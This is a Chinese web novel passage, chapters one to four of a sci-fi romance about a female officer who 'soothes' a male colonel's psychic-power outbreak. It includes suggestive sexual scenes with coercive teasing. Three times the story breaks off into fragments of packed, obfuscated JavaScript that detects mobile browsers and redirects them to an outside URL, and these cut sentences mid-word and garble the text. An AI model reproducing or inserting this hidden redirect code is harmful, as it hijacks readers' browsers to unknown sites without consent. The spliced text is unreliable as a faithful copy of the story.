《我不喜欢S级[gb]》 1. 01 “精神力浓度已超过200%,精神力暴动即将进入第二阶段。抑制剂的成功率有多少?”治疗室外围,研究人员行色匆匆。 “S级精神力抑制剂的样本太少了,目前抑制成功率只有10%,接近于无。这点抑制剂对上校而言,毫无作用。” “暴动还在上涨,浓度也还在上升。抑制剂既然无法使用,那么只能进行精神力安抚——但,除了上校是S级精神力,整个星际联邦无法再找到另外一位同样等级的精神力者。这怎么能进行安抚行为……所以,上头有什么指示吗?” 难得的静默当中,有人古怪地回答道:“上头吩咐过,让我们等——” “久等了。”话音未落,研究室门口,有道清亮的女声打断了这话。 几位研究人员循着声音望去,就见身形高挑的女子穿着常服,长发披散,面上含笑地站在门口。 “中校。”他们蓦地肃然道。 他们忽然想到,就算治疗室内那位精神力暴动的上校是全星际联邦中唯一的S级精神力者,可眼前这位,却也是唯一一位能与S级精神力分庭抗礼的A级精神力者。 更是唯一一位能对S级精神力者进行安抚的A级精神力者。 栾绮颔首,越过他们,来到治疗室门口。“打开。” 有人迟疑了一下,提醒道:“中校,上校阁下的精神力暴动浓度上升太快,现在已经进入了第二阶段……” 栾绮应道:“我知道。” 研究室内的几人闻言不再含糊,点下操控按钮,治疗室特殊防固的硬质铁门打开,独属于S级精神力者蛮横压迫的精神力从铁门中无理地延展而开。 栾绮看了一眼匆忙离开的研究人员,抬手合上了门,转身,就对上了一双侵略十足的眼眸。 面前的男人尚未褪去干练严肃的作战服,头发被汗水浸湿,银灰色的眼眸因精神力暴动而失去了理智,泛着如野兽般的冷意与野性。他不仅释放着自己的精神力,滚烫宽大的手掌亦是禁锢上了栾绮的肩膀,另一只手想要扼上她的脖子。 栾绮侧首,微微一笑,扬手握住了他的手腕,“嘭”然一声,男人在她的反击之下,被她抵上了地面。 “这才多久没见,长官,”栾绮单手扣住了他的脖子,低头看着他微张喘.息的唇,说道:“你就把自己搞得这么狼狈。” 哪怕S级精神力的浓度不断上升,可这强大蛮横的精神力并没有影响到她,她反而极为轻松地抵住他的手,看着底下那双失去理智、被精神力操控的眼眸,一点点地、慢慢地释放出自己的A级精神力。 霎那间,两股不同等级的精神力在不算大的封闭治疗室内碰撞、交锋,猛烈而急剧,却又在不知道第几个回合下,出乎意料般地,最终以A级精神力更胜一筹。她的精神力也趁机将让人望而生畏的S级精神力包围。 男人的喉间压抑的声音不经意间浓重了几分,他被栾绮牢牢地锢在身下,无法动弹,就连自己的精神力也被她完全掌控住。 在A级精神力的围攻下,蔺序然的眼里兀地多了一分清明,他微仰着头,治疗室上的灯光白得刺眼,有些看不清身上之人的面容。他只得眯了下眸,这才看清了眼前那熟悉又戏谑的表情,轻诧道:“……栾绮,你怎么。” 他的嗓音沙哑,喉结在她温热的掌心中轻滚,透着燥热的情/潮。 察觉到自己的反应不对,他眉头倏然紧皱。 栾绮开门见山道:“长官,你已经进入到精神力暴动的第二阶段。需要我帮忙吗?” 她的语气平淡,就连手中的动作也不怎么动,可蔺序然还是能感到她身上的那股恶劣。 蔺序然别开眼,压制住自己的渴望,冷声道:“不需要。” 栾绮轻笑一声,灯光在她身上投下一片阴影,蔺序然看不清她的表情,但能感受到她松开控制住他的双手,然后起身,温声细语道:“可是你的状态,看起来很需要我呢,长官。” 栾绮理了一下耳边的碎发,说道:“长官,你我都是军盟学校同级生,就算毕业两年,你也应该还记得,开学时,那群老学究是怎么说的?” 身体的异样越来越明显,饶是栾绮放开了他,可她的精神力还在掌控着他,他无法起身,只能仰着头,被迫地躺在冰冷的地板上。 蔺序然的视线开始变得模糊,他竭力地保持清醒,眼里却只能看到她一张一合的唇,耳边充斥着她的声音。 她说:“精神力暴动两阶段,一阶段是精神力浓度上升,失去理智。二阶段是身体渴求和个人意识逐渐退化成野兽。长官,你是知道的,野兽最想要什么——” “生存和交.配。” 栾绮垂眸看他:“所以,你当真不需要我的精神力,进行深入安抚?” ——交.配。 ——你当真不需要? 冷静的话语传入脑海,蔺序然的大脑迟缓浑噩。 ——答应她。 蔺序然闭上眼,默不作声。 ——答应她。 精神力的暴动与二阶段的渴望在疯狂地折磨着他,内心的燥动与身体的叫嚣如同火焰般灼烧着。 ——答应她。 他整个人被汗水浸透,身上的作战服是特殊材料,分明不惧水火,可却让他觉得有几分粘腻。蔺序然尽力不让自己的喉间发出求偶似的声音,清晰地吐字道:“不需要。” “……” “长官的毅力果然非常一般,”栾绮鼓了两下掌,话锋一转:“我十分愿意尊重您的选择。不过,真是遗憾啊长官,对你进行精神力安抚,是上将交代给我的任务。星际联邦没有能力承受得住,看到唯一一名S级精神力者上校因精神力暴动而死亡或者虫化的后果。” “毕竟——” “您的折损,将会是联邦的不幸。更是星际联邦居民的不幸。” “你……” 蔺序然霍然睁眼看她,欲要说些什么,预料之外的不是强劲A级精神力的释放,而是只增加了一点,却依旧如同丝网状地将他完全困住的精神力。这股精神力并未对他进一步地进行安抚,只是单纯地将他团团围住,勉强地起到了类似于镇定剂的效果。 栾绮微笑道:“如您所见,我并非是个愿意强迫他人之人。这种程度,虽不能根本地进行精神力安抚,但能微弱地进行干预。时间一久,精神力暴动也能随之减弱。难道不是吗,长官?” 蔺序然当然清楚,只不过这种精神力安抚的方法,是最缓慢的,也是效率最低的一种。 像她的这种做法,他们不知道要在这个治疗室里待上多久。再者说,她的精神力如同她这个人一样,看起来恪守本分,实际则是不知道张牙舞爪到了哪个地步。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184224|165442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这样一点点地安抚他……跟隔靴搔痒没有什么区别,身体反而变得愈发躁动不安。 蔺序然紧抿的唇线绷起,燥闷感与难捱的情热让他湿透的睫羽不断地颤动着。眼睫下的银灰色眼瞳透着冰冷的质感,耳颈间的薄红让他凌厉而具有侵略性的五官缓和了不少,良久,他支起身,僵硬着嗓子说:“栾绮……我需要。” “嗯?” “我需要。”他拧眉,忽略掉心中的难堪,一字一顿地说:“精神力安抚。” 栾绮神情未变,语气散漫:“好的,长官。这是我的荣幸。” 她在他身边屈腿坐下:“靠上来。” 他的大脑有些混沌:“靠……哪?” “腿上。” “……” 栾绮慢条斯理地看着他说道:“不近距离,我怎么给你做深入的精神力安抚呢,长官?” 蔺序然努力抬眼,定定地看了她好几秒,才绷着身子将脑袋搁在她的腿上。过度的亲密接触令得他身体僵硬,他吞下喉间的声音,颇为失控又清醒地看着她的脸。 思绪杂乱间,他从来没有想过,有朝一日,他会陷入这种情形。 “侧过来,长官——对,很好,就像这样——放松——”栾绮循循善诱,手指贴近他薄薄的作战服,勾起,探入。 蔺序然哑然:“栾绮,你在做什么……” 对方俯身靠近:“长官,你要是不放松,我可不敢贸然对你进行安抚。” 蔺序然下意识地想要侧身,栾绮按过他的腰:“长官,是这么抬,你才能放松。” 伴随着她手里动作,栾绮身上的A级精神力完全释放出来,开展安抚工作。 就算是一场亲密的精神力安抚,她的精神力未见温和,仍不可避免地带着强劲的占据与入侵。 蔺序然最开始还能勉强保留自我意识,但没等多久,他思绪逐渐趋于恍惚。眼里只有她的脸。他的发梢蹭过她的衣服,手也被她用力地扣住……在一阵头晕目眩中,只能感受到膝盖抵住地面的摩擦感。在这场漫长的精神力安抚治疗内,症状的缓解和身体的疲软不免得让他失去力气,险些滑到地上,被她托住脑袋。 然后,蔺序然在眩晕中清醒。缓了好半晌,他撑起身体,轻仰着头,别过脑袋,将后脑勺靠在墙壁上,脱力般地抬手,一颗颗地扣上自己胸襟处被扯开的扣子,欲盖弥彰似地遮掩住被她掐出来的指印。 栾绮起身看他。 抵在墙壁上的男人身形高大,合身且凌乱的作战服勾勒出他劲瘦的腰腹和恰到好处的肌肉,就连漂亮而极富力量感的腰线都一览无遗。 他正无力地仰头望她,湿漉过长的黑发掩住了他的双眸。 栾绮用手指拨开他眼前的头发,他现在的眼神又恢复成了平日里的冷淡,不似方才深陷潮.热般的润意与狼狈。 蔺序然看了她一眼,想到刚刚她的举措以及那令他诧异难言的体.位,还有她的手—— 他带着点不易觉察的屈辱道:“你……多谢。” 他态度冷硬,接近于命令道:“下次,我会自己解决。” 栾绮静站在他面前,她脚下的那双皮质长靴分明携着冷意,她却露出与之相不符的温柔淡笑来。 “可是,长官,你看起来很喜欢,不是吗?” 她指了指地面上的潮湿。 2. 02 ——【你看起来很喜欢,不是吗?】 时隔几日,蔺序然总是能回想起他听到这句话时,心中涌起的负面情绪。 难堪,羞耻,不安,回避。 栾绮和他,自星际联邦军盟学校开始,就是难舍难分的对手。一个是整个星际联邦中仅有的S级精神力者,而另一个,又是更加少见的、能与S级精神力者难分高下的A级精神力者。 他们是彼此的对照组,参照物。常常被他人拿来做比较。 何况,一周前的虫潮来临前的联邦军事会议上,他们两个人还因为区域战略部署争执不休;一周后虫潮被击退,他的精神力突发意外而暴动,明明尚处于争执中的两人,却在治疗室内进行了一场如同爱人般的精神力安抚。 他在她的手中呜咽、反复高/潮。分明算是正常的精神力安抚,却像是他被她肆意地狎弄。 “……上校大人。”终端全息投影上,身着白大褂的研究人员见眼前一身军装的男人沉默不言,不由得小心出声。 蔺序然将目光重新放回全息投屏上,说:“继续。” 为首的研究人员点头:“上校,已经收到了您传输过来的血液样本和NS-1回收采集装置,团队从昨天开始就进入检测、研究工作。不过,据我们协商估计,就算是最新型的抑制剂研发仪器,一个月的时间,所研发出来的S级精神力抑制剂的抑制率只有……25%。” “百分之四十五。”他毫无感情地下达着命令。 精神力一旦暴动,需要进行四次安抚或者抑制才能消除。所暴动的时间无定期,但根据星际联邦最权威的精神力研究所颁布的数据来看,四次精神力暴动,平均间隔一个月发动一次。 距离他下一次精神力暴动,勉强能称得上是一个月。 研究人员面露难色。 蔺序然道:“我已经和精神力研究所取得联系。明天会有人加入抑制剂研究团队,他们会提供设备和科室。” 研究人员松了口气,正色道:“是,上校。” 全息投影被关闭,身侧的副指挥官轻声说道:“长官,还有十五分钟,会议就要开始了。” 蔺序然冷淡点头,从椅上起身,走出了房门。 星际联邦总共有七个星球,其中最末等的星球就是他们脚下的这片禁区星。这是守护星际联邦居民、抵御虫族入侵的防线区,总共划分为A-F六个区域,通常情况下,不论是军事会议还是普通会议,都在他所管辖的A区召开。 蔺序然大步踏入会议室,他冷峻的目光微凝,一进来就看到了椅子上,脱了军帽,无聊地捻着发尾的栾绮。 她的精神头看起来相当不错,根本就不像他一样,这几日一直被治疗室中的安抚行为所困扰,甚至还饶有兴味地对着他报以轻佻的微笑。 “午安,长官。”她撑着脸说道。 “……”沉默片刻,蔺序然最终还是选择“嗯”了声,然后在她对面落座。 禁区星的少将是个脸上留着疤的女人,她从会议室外疾步而入,身后还跟着拿着会议记录表的记录员,甫一拉开椅子落座,便急匆匆地说道,“简短地开一次普通会议。无须行礼。这次会议由上将大人远程主持。” 她话刚说完,全息投影便被打开。身着军服的女人身影赫然立于长桌中央之上,肩章上金黄的五颗星徽与联邦军事徽章彰显着她最高的军事地位与权力。 面容秀丽的上将简单地向他们打招呼:“午安,各位。” “时间有限,我长话短说,”上将的眼神沉稳,“这次虫潮捕捉到了新型变异虫族。变异种能够干扰精神力磁场,提前引起精神力者暴动……我们中,有不少战士因没有设防而导致精神力暴动,在战场上身亡。” 会议室中短暂地肃穆了几秒,为此默哀。 “变异种的尸体已被我带入联邦秘密监察总署中,经检测,异种脑部除了正常的虫族精神网脑域链接外,腹部还存在着未知的晶核。”上将说。 “这枚未知晶核,可以暂时性地称之为‘污染源’。” “你们应该清楚,联邦D、F两星的地下灰色交易市场这几个月流行着一种号称能让精神力者等级进化的E-D注射剂。我们将‘污染源’和E-D注射剂进行实验与综合对比,发现E-D注射剂正是从‘污染源’中提炼出来的。” “……” 会议室内的大部分人面容一肃。 上将轻轻一哂,继续道:“也就是说,早在最近的虫潮之前,就有人优先接触了变异种。或者是说……” 她停了停,没了下文,转而忽地说道,“各位,我们同虫族拥有着百年的斗争。我们先进的技术至今还未破解出他们的语言,未能完全了解到他们的文明与科技,但是我们知道,他们不仅仅是野蛮入侵者,同样也拥有着更先进的文明。他们的目标我们不得而知,可我们的目标早已融于我们的血骨之中——” “三个月后的虫潮,将会是一场苦战,我们面对的是更多的变异种。希望诸位回到首都星之后能够养精蓄锐,在下一波的虫潮来临后,能够誓死守住星际联邦的防线区。” “各位……一切为了联邦。” “唰”然间,会议室里面的人纷纷起身,行礼宣誓道:“一切为了联邦。” 上将颔首,会议结束。她虚指了下栾绮和蔺序然两人,说道:“你们二人暂时留下。” 会议室瞬间清空。 上将的脸上露出一点笑来,她问道:“精神力暴动,怎么样了?” 栾绮打了个哈欠,脊背重新靠在躺椅上,慢悠悠将目光挪到了对坐之人身上,打量了一下对方冷漠沉着的面容,随后展颜道:“如您所见,上将。长官大人的情况看起来还算不错。” 蔺序然指尖轻绷,坦然接受她的凝视,冷静地回道:“报告上将,S级精神力抑制剂正在加紧研发当中,不出意外,下回精神力暴动期便能投入使用。” “这样啊,”上将说,“抱歉二位。若非自联邦成立的百年来,S级精神力者拢共只出现了两位,样本太少,抑制剂无法成功研究,否则也不会让你们进行这场精神力安抚。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184225|165442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “既然精神力暴动能够妥善解决,是最好不过的事。”上将顿了顿,不疾不徐地说:“禁区星的A区和F区是抵御虫族的军事重镇,你们二位都是军盟学校出身,又是精神力者中的佼佼者,星际联邦的安危在你们的手中……” “上将大人,”她的话语还未说完,就匆忙被打断,有道声音在上将的身后响起,伴随着重重的脚步和催促声,有人喊道:“……紧急会议!” 全息投影猝然被掐断,会议室中只剩下满室的安静。 “刺啦”一声,蔺序然正打算推椅离去,便瞥见栾绮笑意盈盈地说道:“长官,我忽然想起来一件事。” 蔺序然太熟悉她这副表情了。军校时期,亦或者是现在,她曾多少次用这样含着笑,还有语气末上扬带着点懒散的尾音,对他说出堪称挑衅般的话语。 蔺序然惯例道:“私人时间,不探讨公事。” 一般而言,虫潮后的普通会议结束,禁区星除了在战地轮驻的军人,其余人基本上都会有接近两个月多的休息期,以便好备战下一次的虫潮。 栾绮说:“啊,巧了,刚好是私事呢,长官。” “……” 他们两人间能有什么私事。 战略部署争执?机甲模拟与演练对战?战舰操控演习? 他脸上神情明明未有波澜,栾绮看起来像是洞悉了他内心活动一样,揣起桌子上的军帽挑唇道:“长官想到哪里去了。我是说,从治疗室出来后我丢了一副手套,这毕竟不是普通的手套,长官有看到过吗。” “没有。”蔺序然回道:“这件事你应该去问军地研究室的值班人员。” “咦,这不应该吧,”她懒洋洋地歪在椅子上,“那天治疗室内的一切,难道不是长官自己处理的吗?” 蔺序然站在原地颇有点不自在,却还是淡着嗓子回应:“……你想说什么。” 栾绮调了一下坐姿,好整以暇地看他。 “总不可能是,长官伺机私藏下属的私人物品?” 蔺序然微微拧眉,黑色的军服衬得他气息愈发冷冽。他将话语放重,喊道:“栾绮——” “我没看到。” 他摆出这副气势汹汹的模样,实则与自己说的话完全不符,听得栾绮“噗嗤”一下笑出声:“好了,我不开玩笑了长官。” 她站起身,戴好军帽,说道:“手套只是托辞,根本没有什么手套。抱歉啊长官,我比较害羞,有些事不找个借口,不好说出口。” 蔺序然眯眸看她,对方哪里有她自己口中半分“害羞”的模样。手中的军帽被她端正地戴好,帽檐下露出了一双熠熠生辉且同样带着侵略性的眼眸,正肆无忌惮地同他对视。 他听到她接着说:“那天太匆忙了,忘了说一句话。嗯……虽然接下来的话听起来在耍流氓,但是——” 栾绮冲他挑眉:“尽管那天长官没有正面回应我的问题,可是,不瞒长官,其实我也挺喜欢的。” “所以长官选择自己解决精神力暴动一事,我对此表示相当遗憾。” 3. 03 “小栾中校,你还是老样子,喜欢乱开玩笑。” 首都星,联邦特区空中大厦二十七层内,铂金色长发的女子举着酒杯,半躺在沙发中,遥遥地朝着不远处随意仰躺的栾绮敬酒。 栾绮偏过脑袋,看着对方。面前的女子异常美丽,拥有着一双澄澈的湖蓝色眼眸,彼时身边正围着三两个身着制服的年轻貌美男子。 栾绮喝了口酒,撑起脑袋说道:“什么老样子,我们也就几个月没见过面了而已。” 梅莉娅·海温德轻轻一笑:“是这样吗,我记得有人这次回首都星前火急火燎地给我发通讯,说什么‘再不拿出好酒来招待远方归来的客人,没准下回见面就是战死之后的下辈子’之类的玩笑话。既然是下辈子,说句‘老样子’,并不过分吧。” 栾绮:“真叫人意外,梅莉娅,你也开始说起了玩笑。” 梅莉娅:“得您真传,中校。” 栾绮乐了:“好了,不说这些。” 她指了指环绕着的那几个貌美男子,问道:“这次怎么才三个。你平时不是最喜欢六七个人一起围在你身边打转吗?” “没办法。”梅莉娅放下酒杯,不满地抱怨:“星网上说我过得太腐败了,我好歹也是个大明星,这么做会给那些青少年带来不好的影响……见鬼!我的作品都是成人区才能看到的,共区作品又都是一些无关紧要的东西,能影响到个鬼的青少年。但是,为了给未成年人树立好一个良好的形象,我只能缩减数量。” 她说着,拍了拍手,身边的美男放下手中的酒瓶,乖顺有序地离开了房间。 “不过,我可没法跟你比。”梅莉娅操作了一下终端,星际网络论坛弹开来,以投影的方式显现在房间内,她说:“你看看,居民们都在说你和那位S级精神力的上校阁下可是最洁身自好的两位。” 栾绮看了过去。这是一个星网的“最受欢迎”榜单,实际上是一个不着边际的娱乐榜。被投票的参赛者包罗万象,除了人类,甚至还有虚拟人物、宠物、工艺美术品之类的,就连学校的课程——《机甲实战课》、《战舰操控基础》、《光剑使用实操与理论》等都榜上有名。 在一众五花八门的“参赛者”当中,栾绮以八千九百万的票数拔得头筹。 “你可是用三百万的票数赢了上校阁下呢,栾绮。”梅莉娅调出一段视频,撇嘴说:“要不是昨天晚上的采访,蔺上校的票数可不会跟你拉开这么近的差距。” 这是一段非常短的采访视频。 全息投影使得视频内的人物如同真人般出现在房间内,就连衣服材质都看得一清二楚。里面的人似乎刚下飞舰,就匆匆接受了采访。 体裁合身的黑色军服,扣至衣领处的纽扣,层层包裹下的宽肩长腿、蕴含着澎湃力量感的腰腹,还有压得极低的帽檐下,所露出的带着压迫凌厉感的脸部轮廓,无一不彰显着这位上校外在条件与气质的卓然优越。 仅仅是不到一分钟的视频,就引得不少倾向于栾绮的星际网民们解甲倒戈。 其中,有一位网民的评论最为惹眼—— 【天杀的,好想玩弄那种一米九二绝世好身材的男人!当然,我不是对上校的不敬,我是说,这个联邦还有没有别的这种男人,我超想玩弄这种看起来非常冷淡的男人,我真的没有对上校有不敬之心,我的意思是,你们不觉得看这种男人嘴硬然后沉沦的样子很有趣很涩/情吗,我发誓我真的没有对上校不敬的意思……】 梅莉娅用惋惜的口吻说道:“你要是出现在上面,起码会拉开三千万的票数。” 栾绮不甚在意,甚至没什么多大兴趣:“别打趣我了,梅莉娅。” “我什么时候打趣过你了,亲爱的朋友。”梅莉娅挽起铂金色的长发,笑笑:“毕竟,你的这张嘴所配着你这张脸所说出的玩笑话,可是会有不少人当真。” 栾绮给自己续了一杯酒,想了一下昨天下午在会议室时的对话。 当时,蔺序然回应她什么话来着。 对方并未有什么多余的表情,看起来不动声色,实则黑色皮质手套下握拳的长指出卖了他。 “栾绮,你又在鬼话连篇。”他说。 的确是在鬼话连篇,她有时候还挺喜欢用这类话去恶心他的。目的能不能达到不重要,重要的是那个过程。不过,很显然,从他昨天的微动作来看,结果也是很可观的。 “那真是太可惜了,因为我平时还算是个正经人,鲜少会对旁人开露骨的玩笑。不然,‘洁身自好’这四个字可与我沾不了边。”栾绮将手中的酒一饮而尽,松垮地束起自己背后的长发:“多谢款待,梅莉娅。希望下回从禁区星回来,还能喝到你的酒。” 她起身,拢上常服的衣领。 “不在我这边多待一会?”梅莉娅诧异地问。 “不了,”栾绮说道,“两个月多的假期,除去军务杂事,能来你这的次数还算多,下次再来。我下午还要去趟机甲部。” “你昨晚才刚回来,今天下午又要去训练?”梅莉娅嘟囔:“真是不给自己一个喘/息的机会。” “当然,”栾绮轻哼了声,带着上扬的语调说,“进行必要的体能和精神力训练,是我们的本职。” - 星际联邦军事机甲部。 栾绮换了身作战服,正准备踏入演练室,迎面走来一位身着白大褂的女子。 “许久不见,栾绮。”对方手里拿着一沓数据册:“模拟室刚更新了最新一批机甲数据,有你最喜欢的C-Y97型战斗机甲改进版,要试试手感吗?” “好主意。”栾绮脚步拐了个弯,跟在她身侧进了模拟室。 卫薇道:“对了,我手底下刚来了一个军盟学校的应届毕业生,这小子跟你一样,主指挥系,辅修机甲系。目前先跟着我干,之后估计会转到指挥部。这家伙听说我跟你同届,一直在变着法子向我打听你的事。” 栾绮回道:“这年头军校的双系生少得可怜,没准又是想问我这方面的问题。” 卫薇微妙一笑:“也对。各大军校自成立至今有几百年,这么多年来,学校里的双系生不超过三十位。毕竟,很少有人的精神力变/态到能在操控机甲的同时还能用精神力指挥军队。” 她顿住,然后冲栾绮指了指模拟室中正在记录数据的男生。 那男生似乎感觉到什么,抬起头来,露出一双深邃的碧绿眼眸。待看到栾绮时,眼神微亮,抱着记录本三两下大步走到她们面前。 “卫主任。”他喊了一声,随后把目光转向栾绮。 “这么多天没少暗戳戳跟我打听栾绮中校,怎么一见真人,跟哑火似的,路成映。”卫薇揶揄地开口。 路成映不太好意思地抬手挠挠脸,单刀直入道:“其实是这样的,我想跟栾中校来一场机甲战斗。” 栾绮来了兴趣:“这可比问我双系生问题来得要简单。” 卫薇意外地问:“……机甲战斗?” “对。”路成映点点头:“学校长官说,我是近十年来唯二一个A级精神力双系生,上一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184226|165442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' A级精神力双系生还是小栾中校。不过和小栾中校不同的是,我是我们这一届蝉联多年的成绩第一。所以……我很想看看我跟栾中校的实力差距。” 卫薇:“……” 她忍不住多看了一眼栾绮。 作为栾绮在机甲系的同窗,她当然知道她们这一届,栾绮无法多次第一的原因。还不是有个蔺序然在,毕竟S级精神力的优势一直都是显著的。 路成映这句话,无疑算是踩雷。 栾绮微微一笑:“当然可以。” 路成映浑然不觉危险,眼里满是清澈的愚蠢:“那真是太好了,谢谢栾绮中校。我现在就去换作战服!” “现在的年轻人,勇气可嘉。”卫薇嘀咕了一句,转头看向栾绮:“你别太下死手,我好不容易找到这么一个肯努力干活的人。你知道的,现在又傻又能干的小年轻很难找。” 栾绮冲她摆摆手,本想说些什么,模拟室的门口传来一小股骚/动,她循着动静看过去,就见蔺序然走了进来,身后还跟着他的一个副指挥官。 他这次换了套作战服。 作战服有不同款式。 上回那一款是带着纽扣的,并非连体服,脱时不方便。这次他穿着的黑色作战服是后背气囊一体式,只要按下腰边的按钮,作战服就能如同气囊般膨胀自动脱落。不过这款作战服还是一如既往地薄,能轻易地勾出他的好身材的同时又能遮挡住关键部位。 S级精神力者自带压迫感,原先还算热闹的模拟室因为这股与生俱来的压迫而变得有些安静。 唯一不受影响的栾绮这会儿打开了模拟舱,调节了一下参数之后,已经穿戴整齐的路成映稍显局促地走到她跟后,用气音说道:“中校,S级的精神力威圧感可真强。” 他说着,还摸了摸自己的脖子:“总感觉有人在看着我们。脖子凉凉的。” 栾绮不以为意地将模拟仪器递给他,目光眺望远方:“你可以找找,这道‘注视’是从哪来的。” 他还真转过头去找,在对上一双银灰色眼眸之后,一个哆嗦转身,手中的模拟仪器差点没拿稳。 一旁的卫薇皱眉道:“小心点,这件模拟仪器的价格,把你抵押给机甲部免费打三辈子工都还不起。” 路成映:“……知道了,主任。” 他默默戴上仪器。 栾绮慢悠悠地扣好仪器,说道:“照理来说,机甲系的学生在进行机甲战斗时,不是有个无奖竞猜吗?” 她看着对方:“你猜猜,你能在我手下撑多久。” 路成映想了想,说:“二十分钟应该是有的,中校。” 卫薇:“……” 现在的孩子都这么自信吗? 然而实际上没撑过一分钟。 栾绮从模拟舱出来,打开身侧的另一个模拟舱,从中将宛如死鱼一般虚脱的路成映提出来,塞到了卫薇的手中。 她一言难尽地问:“现在军校都是这种水平?” 卫薇一手拎着人,一手操控屏幕回放数据报告:“你下手也太狠了栾绮……!等等,你的精神力是不是增强了?” 栾绮含糊道:“也许。” 卫薇:“你应该去精神力研究所重新评估。” 栾绮点头道:“等下回虫潮过后再去。不过,C-Y97机甲改进版手感很不错,我得去演练室实操两把过过瘾。” 她把视线转向同样从模拟舱里面出来的蔺序然,在和他眼神交错的同时,侧首含笑问:“要不要一起啊,长官?” 4. 04 蔺序然将摘下的模拟仪器递给身边的副官,用毫无情绪的嗓音说道:“栾绮,你有搭档了。” “你说这位?”栾绮瞥了一眼卫薇手中晕头转向的路成映,大步向前走至模拟室门口,耸肩道:“这不过是一场后辈向前辈的请教,怎么能称得上是搭档呢?” “何况,”她意味不明地停顿,用着微嗤的语调无所谓地说道,“一个好搭档往往是与自己相匹敌的对手。所以,走吧,‘搭档’。” 蔺序然骤然失语。 他微蹙着眉,来到她身边,相当不适地开口:“收起你的阴阳怪气,栾绮。” “真是不好意思,长官,这项技能大概是与生俱来的,无法收回。”栾绮朝他投向戏谑的目光,慢吞吞地回答道。 “……” 他不说话了。 模拟室与演练室离得很近,走几步路就到了。 一般而言,机甲对战,操控机甲时需要投入相当多的精神力才能达到与机甲的同步适配率。当精神力无法满足机甲的需求时,操控者的精神力极为容易受到致命的伤害。 正是因为这样,机甲部才将其划分为模拟室和演练室。前者上手难度、危险系数较低,有着较高的安全保护系统,只是体验感没有后者强。 不过通常情况下,如果机甲部有新研发的机甲型号,操控者大多会为了安全先去模拟室试一下手感,确保自己的精神力能够驾驭新型机甲之后,才会选择演练室进行深一度的体验。 栾绮进到驾驶舱内部,穿戴好全息仪器,等了几秒,便懒洋洋地打开机甲对战内部的通讯筒,有条不紊地发声:“长官,在战场上你要是保持这个速度,对面的虫族都能手拉手围着你跳一段舞了。需不需要我过去帮你戴?” 她清亮有力的话语从通讯筒内传来,带着一点特有的电子质感,蔺序然扣上全息仪器的肩带,冷淡回绝:“不需要。” 他点开了面前的操控屏幕,对方已然处于“准备中”的状态,他紧跟着点下了确认。 五感丧失,然后再恢复,变得逐渐清晰。面前黄沙飞扬,寸草不生,在全息场景的荒野之地内,一台红如烈日般的机甲伫立在他面前,随后,栾绮的声音又从通讯筒内传来: “真叫人伤心,长官。我还以为你愿意让我帮忙,毕竟——” 栾绮顿了顿,恶劣地微笑道:“模拟室时你的眼神,像极了对薄情寡义的爱人的控诉。适当地示弱,或者做出一些笨拙的举措,来挽回爱人的怜惜,不是被抛弃者最惯用的手段吗?” 她的话语越来越放肆。 蔺序然气息不稳,语调微重地低斥道:“……栾绮!” “你别再……” 再什么? 轻浮?暧昧?还是什么? 一说起这些词汇,他的脑海中总是莫名地想起治疗室时不适宜的耻辱画面。 以至于他没能快速地找到来形容的词语。 蔺序然调整好情绪,冷静地道:“别再摆出这副以下犯上的态度。” 栾绮轻笑了一声,没有再答话,全息场景内的C-Y97型机甲在她精神力的操控下做出敏捷的反应。 为了能让精神力者更好地操控战斗型机甲,机甲部的研发人员总是力所能及地将机甲重量打造得更轻盈,以便于精神力者在操作机甲的同时,还能够更好地运用机甲自带的武器。 但C-Y97型战斗机甲显然是不同的。相对于其余重量轻、武器单一的机甲,它更加笨重,能携带的武器也更加多样化。同样的,它对操控者的精神力强度也更加苛刻。 可以说,栾绮是唯一将这台机甲运用得最好的一位。机甲和她同步率极为适配,以至于不下十几个来回,她就在难以分清胜负的机甲肢体对抗中,轻松地扣住对方机甲的手部,将其抵压在对方机甲的腰侧。 演练室的机甲对抗,就算是全息虚拟,其触感能够一清二楚地传递给驾驶舱内的操控者。 她有力的手指锢住他的双手,手背微贴在他的腰边。腰部的位置,正好是作战服按钮所在的地方。 蔺序然的身体忽地僵硬。驾驶舱内部灵敏的触感传递,使他无法忽视这个感觉,好似她温热的肌肤也随之接触到他,仿佛她的手再靠近一步,衣服侧边的按钮就要被她打开来一样。 偏偏栾绮的话语恰好在这时传来:“对决中无法避免的就是‘以下犯上’,长官。” “轰”地一声,全息场景内,她的机甲爆发出巨大的力量。蔺序然没有设防,猝然间接下了她的攻击。 驾驶舱里,机甲受到危害的警示标不断闪烁着,蔺序然尚未来得及做出下一步举动,栾绮站在他的背后,掌心锁住他机甲的颈部,手腕轻轻发力,微微笑着问: “你在走神?还是说退步了?平常这种微不足道的攻击,你都能躲开。” 